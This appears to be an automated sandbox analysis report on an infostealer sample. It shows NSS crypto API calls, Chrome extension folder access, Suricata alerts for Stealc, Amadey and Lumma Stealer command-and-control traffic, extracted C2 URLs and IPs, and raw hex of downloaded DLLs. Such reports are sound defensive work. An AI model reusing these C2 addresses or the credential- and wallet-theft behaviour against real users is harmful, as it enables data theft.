Source: C:\Users\user\Desktop\R2CgZG545D.exe	Code function: 0_2_6C677C00 SEC_PKCS12DecoderImportBags,PR_SetError,NSS_OptionGet,CERT_DestroyCertificate,SECITEM_ZfreeItem_Util,PR_SetError,SECKEY_DestroyPublicKey,SECITEM_ZfreeItem_Util,PR_SetError,SECKEY_DestroyPublicKey,SECITEM_ZfreeItem_Util,PR_SetError,SECOID_FindOID_Util,SECITEM_ZfreeItem_Util,SECKEY_DestroyPublicKey,SECOID_GetAlgorithmTag_Util,SECITEM_CopyItem_Util,PK11_ImportEncryptedPrivateKeyInfoAndReturnKey,SECITEM_ZfreeItem_Util,SECKEY_DestroyPublicKey,PK11_ImportPublicKey,SECOID_FindOID_Util,	0_2_6C677C00
Source: C:\Users\user\Desktop\R2CgZG545D.exe	Code function: 0_2_6C637D60 PK11_ImportEncryptedPrivateKeyInfoAndReturnKey,SECOID_FindOID_Util,SECOID_FindOIDByTag_Util,PK11_PBEKeyGen,PK11_GetPadMechanism,PK11_UnwrapPrivKey,PK11_FreeSymKey,SECITEM_ZfreeItem_Util,PK11_PBEKeyGen,SECITEM_ZfreeItem_Util,PK11_FreeSymKey,PK11_ImportPublicKey,SECKEY_DestroyPublicKey,	0_2_6C637D60
Source: C:\Users\user\Desktop\R2CgZG545D.exe	Code function: 0_2_6C67BD30 SEC_PKCS12IsEncryptionAllowed,NSS_GetAlgorithmPolicy,NSS_GetAlgorithmPolicy,NSS_GetAlgorithmPolicy,NSS_GetAlgorithmPolicy,NSS_GetAlgorithmPolicy,NSS_GetAlgorithmPolicy,NSS_GetAlgorithmPolicy,NSS_GetAlgorithmPolicy,NSS_GetAlgorithmPolicy,	0_2_6C67BD30
Source: C:\Users\user\Desktop\R2CgZG545D.exe	Code function: 0_2_6C679EC0 SEC_PKCS12CreateUnencryptedSafe,PORT_ArenaMark_Util,PORT_ArenaAlloc_Util,PR_SetError,PR_SetError,SEC_PKCS7DestroyContentInfo,	0_2_6C679EC0
Source: C:\Users\user\Desktop\R2CgZG545D.exe	Code function: 0_2_6C653FF0 PK11_PrivDecryptPKCS1,	0_2_6C653FF0
Source: C:\Users\user\Desktop\R2CgZG545D.exe	Code function: 0_2_6C659840 NSS_Get_SECKEY_EncryptedPrivateKeyInfoTemplate,	0_2_6C659840
Source: C:\Users\user\Desktop\R2CgZG545D.exe	Code function: 0_2_6C653850 PK11_Encrypt,TlsGetValue,EnterCriticalSection,SEC_PKCS12SetPreferredCipher,PR_Unlock,TlsGetValue,EnterCriticalSection,PR_Unlock,TlsGetValue,EnterCriticalSection,PR_Unlock,PR_Unlock,TlsGetValue,EnterCriticalSection,PR_Unlock,PR_SetError,	0_2_6C653850
Source: C:\Users\user\Desktop\R2CgZG545D.exe	Code function: 0_2_6C67DA40 SEC_PKCS7ContentIsEncrypted,	0_2_6C67DA40

Source: R2CgZG545D.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: unknown

HTTPS traffic detected: 172.67.197.170:443 -> 192.168.2.5:49957 version: TLS 1.2

Source:	Binary string: mozglue.pdbP source: R2CgZG545D.exe, 00000000.00000002.2668569169.000000006F8CD000.00000002.00000001.01000000.0000000A.sdmp, mozglue[1].dll.0.dr, mozglue.dll.0.dr
Source:	Binary string: freebl3.pdb source: freebl3[1].dll.0.dr, freebl3.dll.0.dr
Source:	Binary string: freebl3.pdbp source: freebl3[1].dll.0.dr, freebl3.dll.0.dr
Source:	Binary string: nss3.pdb@ source: R2CgZG545D.exe, 00000000.00000002.2667164056.000000006C72F000.00000002.00000001.01000000.00000009.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr
Source:	Binary string: softokn3.pdb@ source: softokn3[1].dll.0.dr, softokn3.dll.0.dr
Source:	Binary string: d:\agent\_work\1\s\binaries\x86ret\bin\i386\\vcruntime140.i386.pdb source: vcruntime140.dll.0.dr, vcruntime140[1].dll.0.dr
Source:	Binary string: d:\agent\_work\1\s\binaries\x86ret\bin\i386\\msvcp140.i386.pdb source: msvcp140[1].dll.0.dr, msvcp140.dll.0.dr
Source:	Binary string: nss3.pdb source: R2CgZG545D.exe, 00000000.00000002.2667164056.000000006C72F000.00000002.00000001.01000000.00000009.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr
Source:	Binary string: mozglue.pdb source: R2CgZG545D.exe, 00000000.00000002.2668569169.000000006F8CD000.00000002.00000001.01000000.0000000A.sdmp, mozglue[1].dll.0.dr, mozglue.dll.0.dr
Source:	Binary string: softokn3.pdb source: softokn3[1].dll.0.dr, softokn3.dll.0.dr

Source: C:\Users\user\Desktop\R2CgZG545D.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\bg\	Jump to behavior
Source: C:\Users\user\Desktop\R2CgZG545D.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\html\	Jump to behavior
Source: C:\Users\user\Desktop\R2CgZG545D.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\images\	Jump to behavior
Source: C:\Users\user\Desktop\R2CgZG545D.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\	Jump to behavior
Source: C:\Users\user\Desktop\R2CgZG545D.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\	Jump to behavior
Source: C:\Users\user\Desktop\R2CgZG545D.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\css\	Jump to behavior

Source: chrome.exe

Memory has grown: Private usage: 1MB later: 39MB

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2044243 - Severity 1 - ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in : 192.168.2.5:49704 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2044244 - Severity 1 - ET MALWARE Win32/Stealc Requesting browsers Config from C2 : 192.168.2.5:49704 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2044245 - Severity 1 - ET MALWARE Win32/Stealc Active C2 Responding with browsers Config : 185.215.113.206:80 -> 192.168.2.5:49704
Source: Network traffic	Suricata IDS: 2044246 - Severity 1 - ET MALWARE Win32/Stealc Requesting plugins Config from C2 : 192.168.2.5:49704 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2044247 - Severity 1 - ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config : 185.215.113.206:80 -> 192.168.2.5:49704
Source: Network traffic	Suricata IDS: 2044248 - Severity 1 - ET MALWARE Win32/Stealc Submitting System Information to C2 : 192.168.2.5:49704 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2856147 - Severity 1 - ETPRO MALWARE Amadey CnC Activity M3 : 192.168.2.5:49935 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2058360 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (discokeyus .lat) : 192.168.2.5:60378 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2058364 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (grannyejh .lat) : 192.168.2.5:64239 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2856122 - Severity 1 - ETPRO MALWARE Amadey CnC Response M1 : 185.215.113.43:80 -> 192.168.2.5:49942
Source: Network traffic	Suricata IDS: 2058361 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (discokeyus .lat in TLS SNI) : 192.168.2.5:49957 -> 172.67.197.170:443
Source: Network traffic	Suricata IDS: 2044696 - Severity 1 - ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 : 192.168.2.5:49958 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2800029 - Severity 1 - ETPRO EXPLOIT Multiple Vendor Malformed ZIP Archive Antivirus Detection Bypass : 31.41.244.11:80 -> 192.168.2.5:49946
Source: Network traffic	Suricata IDS: 2058378 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (sweepyribs .lat) : 192.168.2.5:52308 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2058361 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (discokeyus .lat in TLS SNI) : 192.168.2.5:49964 -> 172.67.197.170:443
Source: Network traffic	Suricata IDS: 2049836 - Severity 1 - ET MALWARE Lumma Stealer Related Activity : 192.168.2.5:49957 -> 172.67.197.170:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.5:49957 -> 172.67.197.170:443

C2 URLs / IPs found in malware configuration

Source: Malware configuration extractor	URLs: http://185.215.113.206/c4becf79229cb002.php
Source: Malware configuration extractor	URLs: grannyejh.lat
Source: Malware configuration extractor	URLs: crosshuaht.lat
Source: Malware configuration extractor	URLs: sweepyribs.lat
Source: Malware configuration extractor	URLs: energyaffai.lat
Source: Malware configuration extractor	URLs: aspecteirs.lat
Source: Malware configuration extractor	URLs: sustainskelet.lat
Source: Malware configuration extractor	URLs: rapeflowwj.lat
Source: Malware configuration extractor	URLs: necklacebudi.lat
Source: Malware configuration extractor	URLs: discokeyus.lat
Source: Malware configuration extractor	IPs: 185.215.113.43

Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Fri, 20 Dec 2024 15:06:25 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 11:30:30 GMTETag: "10e436-5e7ec6832a180"Accept-Ranges: bytesContent-Length: 1106998Content-Type: application/x-msdos-programData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 12 00 d7 dd 15 63 00 92 0e 00 bf 13 00 00 e0 00 06 21 0b 01 02 19 00 26 0b 00 00 16 0d 00 00 0a 00 00 00 14 00 00 00 10 00 00 00 40 0b 00 00 00 e0 61 00 10 00 00 00 02 00 00 04 00 00 00 01 00 00 00 04 00 00 00 00 00 00 00 00 30 0f 00 00 06 00 00 1c 3a 11 00 03 00 00 00 00 00 20 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 d0 0c 00 88 2a 00 00 00 00 0d 00 d0 0c 00 00 00 30 0d 00 a8 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 0d 00 18 3c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 04 20 0d 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0c 02 0d 00 d0 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 84 25 0b 00 00 10 00 00 00 26 0b 00 00 06 00 00 00 00 00 00 00 00 00 00 00 00 00 00 60 00 50 60 2e 64 61 74 61 00 00 00 7c 27 00 00 00 40 0b 00 00 28 00 00 00 2c 0b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 60 c0 2e 72 64 61 74 61 00 00 70 44 01 00 00 70 0b 00 00 46 01 00 00 54 0b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 60 40 2e 62 73 73 00 00 00 00 28 08 00 00 00 c0 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 60 c0 2e 65 64 61 74 61 00 00 88 2a 00 00 00 d0 0c 00 00 2c 00 00 00 9a 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 40 2e 69 64 61 74 61 00 00 d0 0c 00 00 00 00 0d 00 00 0e 00 00 00 c6 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 43 52 54 00 00 00 00 2c 00 00 00 00 10 0d 00 00 02 00 00 00 d4 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 74 6c 73 00 00 00 00 20 00 00 00 00 20 0d 00 00 02 00 00 00 d6 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 72 73 72 63 00 00 00 a8 04 00 00 00 30 0d 00 00 06 00 00 00 d8 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 72 65 6c 6f 63 00 00 18 3c 00 00 00 40 0d 00 00 3e 00 00 00 de 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 42 2f 34 00 00 00 00 00 00 38 05 00 00 00 80 0d 00 00 06 00 00 00 1c 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 40 42 2f 31 39 00 00 00 00 00 52 c8 00 00 00 90 0d 00 00 ca 00 00 00 22 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 33 31 00 00 00 00 00 5d 27 00 00 00 60 0e 00 00 28 00 00 00 ec 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 34 35 00 00 00 00 00 9a 2d 00 00 00 90 0e 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Fri, 20 Dec 2024 15:06:52 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTETag: "a7550-5e7e950876500"Accept-Ranges: bytesContent-Length: 685392Content-Type: application/x-msdos-programData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 0e 08 00 00 34 02 00 00 00 00 00 70 12 08 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 d0 0a 00 00 04 00 00 cb fd 0a 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 48 1c 0a 00 53 00 00 00 9b 1c 0a 00 c8 00 00 00 00 90 0a 00 78 03 00 00 00 00 00 00 00 00 00 00 00 46 0a 00 50 2f 00 00 00 a0 0a 00 f0 23 00 00 94 16 0a 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 20 08 00 a0 00 00 00 00 00 00 00 00 00 00 00 a4 1e 0a 00 40 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 95 0c 08 00 00 10 00 00 00 0e 08 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 c4 06 02 00 00 20 08 00 00 08 02 00 00 12 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 3c 46 00 00 00 30 0a 00 00 02 00 00 00 1a 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 80 0a 00 00 02 00 00 00 1c 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 78 03 00 00 00 90 0a 00 00 04 00 00 00 1e 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 f0 23 00 00 00 a0 0a 00 00 24 00 00 00 22 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Fri, 20 Dec 2024 15:06:54 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTETag: "94750-5e7e950876500"Accept-Ranges: bytesContent-Length: 608080Content-Type: application/x-msdos-programData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 07 00 a4 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 b6 07 00 00 5e 01 00 00 00 00 00 c0 b9 03 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 80 09 00 00 04 00 00 6a aa 09 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 01 60 08 00 e3 57 00 00 e4 b7 08 00 2c 01 00 00 00 20 09 00 b0 08 00 00 00 00 00 00 00 00 00 00 00 18 09 00 50 2f 00 00 00 30 09 00 d8 41 00 00 14 53 08 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 bc f8 07 00 18 00 00 00 68 d0 07 00 a0 00 00 00 00 00 00 00 00 00 00 00 ec bc 08 00 dc 03 00 00 e4 5a 08 00 00 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 61 b5 07 00 00 10 00 00 00 b6 07 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 94 09 01 00 00 d0 07 00 00 0a 01 00 00 ba 07 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 44 1d 00 00 00 e0 08 00 00 04 00 00 00 c4 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 00 09 00 00 02 00 00 00 c8 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 74 6c 73 00 00 00 00 15 00 00 00 00 10 09 00 00 02 00 00 00 ca 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 b0 08 00 00 00 20 09 00 00 0a 00 00 00 cc 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 d8 41 00 00 00 30 09 00 00 42 00 00 00 d6 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Fri, 20 Dec 2024 15:06:55 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTETag: "6dde8-5e7e950876500"Accept-Ranges: bytesContent-Length: 450024Content-Type: application/x-msdos-programData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 d9 93 31 43 9d f2 5f 10 9d f2 5f 10 9d f2 5f 10 29 6e b0 10 9f f2 5f 10 94 8a cc 10 8b f2 5f 10 9d f2 5e 10 22 f2 5f 10 cf 9a 5e 11 9e f2 5f 10 cf 9a 5c 11 95 f2 5f 10 cf 9a 5b 11 d3 f2 5f 10 cf 9a 5a 11 d1 f2 5f 10 cf 9a 5f 11 9c f2 5f 10 cf 9a a0 10 9c f2 5f 10 cf 9a 5d 11 9c f2 5f 10 52 69 63 68 9d f2 5f 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 82 ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 28 06 00 00 82 00 00 00 00 00 00 60 d9 03 00 00 10 00 00 00 40 06 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 f0 06 00 00 04 00 00 2c e0 06 00 03 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 10 67 04 00 82 cf 01 00 e8 72 06 00 18 01 00 00 00 a0 06 00 f0 03 00 00 00 00 00 00 00 00 00 00 00 9c 06 00 e8 41 00 00 00 b0 06 00 ac 3d 00 00 60 78 00 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b8 77 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 70 06 00 e4 02 00 00 c0 63 04 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 92 26 06 00 00 10 00 00 00 28 06 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 64 61 74 61 00 00 00 48 29 00 00 00 40 06 00 00 18 00 00 00 2c 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 00 00 ac 13 00 00 00 70 06 00 00 14 00 00 00 44 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 69 64 61 74 00 00 34 00 00 00 00 90 06 00 00 02 00 00 00 58 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 f0 03 00 00 00 a0 06 00 00 04 00 00 00 5a 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 ac 3d 00 00 00 b0 06 00 00 3e 00 00 00 5e 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Fri, 20 Dec 2024 15:06:56 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTETag: "1f3950-5e7e950876500"Accept-Ranges: bytesContent-Length: 2046288Content-Type: application/x-msdos-programData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 d0 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 d8 19 00 00 2e 05 00 00 00 00 00 60 a3 14 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 70 1f 00 00 04 00 00 6c 2d 20 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 e4 26 1d 00 fa 9d 00 00 de c4 1d 00 40 01 00 00 00 50 1e 00 78 03 00 00 00 00 00 00 00 00 00 00 00 0a 1f 00 50 2f 00 00 00 60 1e 00 5c 08 01 00 b0 01 1d 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 f0 19 00 a0 00 00 00 00 00 00 00 00 00 00 00 7c ca 1d 00 5c 04 00 00 80 26 1d 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 89 d7 19 00 00 10 00 00 00 d8 19 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 6c ef 03 00 00 f0 19 00 00 f0 03 00 00 dc 19 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 44 52 00 00 00 e0 1d 00 00 2e 00 00 00 cc 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 40 1e 00 00 02 00 00 00 fa 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 78 03 00 00 00 50 1e 00 00 04 00 00 00 fc 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 5c 08 01 00 00 60 1e 00 00 0a 01 00 00 00 1e 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 